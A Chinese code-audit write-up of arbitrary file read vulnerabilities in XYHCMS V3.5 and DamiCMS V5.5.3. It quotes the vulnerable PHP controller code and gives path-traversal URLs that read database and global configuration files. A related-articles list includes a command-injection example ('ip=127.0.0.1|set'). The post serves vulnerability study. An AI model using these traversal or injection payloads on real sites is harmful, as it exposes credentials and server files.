【代码审计】任意文件读取漏洞实例

简介: 0x00 前言   大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。   这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。

0x00 前言

  大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。

  这里,通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。

0x01 漏洞实例一

环境搭建:

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw

代码分析:

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

    public function edit() {
        $ftype     = I('ftype', 0, 'intval');
        $fname     = I('fname', '', 'trim,htmlspecialchars');
        $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
        if (IS_POST) {
            if (empty($fname)) {
                $this->error('未指定文件名');
            }
            $_ext     = '.' . pathinfo($fname, PATHINFO_EXTENSION);
            $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
            if ($_ext != $_cfg_ext) {
                $this->error('文件后缀必须为"' . $_cfg_ext . '"');
            }
            $content  = I('content', '', '');
            $fname    = ltrim($fname, './');
            $truefile = $file_path . $fname;
            if (false !== file_put_contents($truefile, $content)) {
                $this->success('保存成功', U('index', array('ftype' => $ftype)));
            } else {
                $this->error('保存文件失败,请重试');
            }
            exit();
        }
        $fname = base64_decode($fname);
        if (empty($fname)) {
            $this->error('未指定要编辑的文件');
        }
        $truefile = $file_path . $fname;

        if (!file_exists($truefile)) {
            $this->error('文件不存在');
        }
        $content = file_get_contents($truefile);
        if ($content === false) {
            $this->error('读取文件失败');
        }
        $content = htmlspecialchars($content);

        $this->assign('ftype', $ftype);
        $this->assign('fname', $fname);
        $this->assign('content', $content);
        $this->assign('type', '修改模板');
        $this->display();
    }

这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php
我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通过url访问,成功获取到数据库敏感信息:

0x02 漏洞实例二

环境搭建:

大米CMS官网:http://www.damicms.com
网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)
程序源码下载:链接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密码: h4kj

代码分析:

漏洞文件位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

public function add()  
{  
    $filename = dami_url_repalce(str_replace('*','.',trim($_GET['id'])));  
    if (empty($filename))   
    {  
        $this->error('模板名称不能为空!');  
    }  
    $content = read_file($filename);  
    $this->assign('filename',$filename);  
    $this->assign('content',htmlspecialchars($content));  
    $this->display('add');  
}  

这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录后台, 全局配置路径在\Public\Config\config.ini.php,通过构造URL读取全局配置文件内容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php

0x03 END

  这两个漏洞实例都是在编辑状态下的任意文件读取,感觉还挺蛮有趣的,在黑盒渗透中,要想触及这个点还是挺有难度的。

  更多的时候,黑盒结合白盒的进行漏洞挖掘,可发现更多的安全漏洞。

 

目录
相关文章
|
SQL 移动开发 供应链
网站代码审计漏洞查找技术是如何炼成的?
常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯一的差别是影视剧中的主人公可以瞬间控制供电系统,导致大城市电力工程偏瘫。走在路上任意监听所有人。
325 0
网站代码审计漏洞查找技术是如何炼成的?
|
安全 PHP .NET
通过代码审计找出网站中的XSS漏洞实战(三)
一、背景 笔者此前录制了一套XSS的视频教程,在漏洞案例一节中讲解手工挖掘、工具挖掘、代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完,内容有一些关联性,其中手工XSS挖掘篇地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198 本文主要记录通过代码审计的方式进行XSS漏洞挖掘,分为了找出关键位置,正向审计,反向审计三个部分,审计的系统为permeate渗透测试系统,测试系统的搭建可以参考笔者的第一篇文章。
1659 0
|
安全 .NET SQL
【代码审计】任意文件删除漏洞实例
任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。   环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.
1206 0
|
安全 PHP 数据安全/隐私保护
PHP代码审计笔记--代码执行漏洞
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。 常见代码注射函数:   如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数     详见http://www.
1499 0
|
安全 .NET 开发框架
ASP代码审计学习笔记 -5.文件下载漏洞
文件下载漏洞 漏洞代码: 0 then Reaponse.status="404" else Response.ContentType="application/octet-stream" Response.
1004 0
|
安全 .NET 开发框架
ASP代码审计学习笔记 -4.命令执行漏洞
  命令执行漏洞:   保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令  利用方式: http://localhost/cmd.asp?ip=127.0.0.1|set   漏洞修复方式一: 把输入的值当作参数来执行,避免命令执行漏洞,可能会占用系统资源,不够优化。
1367 0
|
安全 .NET PHP
ASP代码审计学习笔记 -3.上传漏洞
1、ASP上传过程抓包分析: POST /4.asp HTTP/1.1 Host: 192.168.1.102 User-Agent: Mozilla/5.0 (Windows NT 10.
1670 0
|
4月前
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
145 0
|
4月前
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
66 0
|
4月前
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
37 0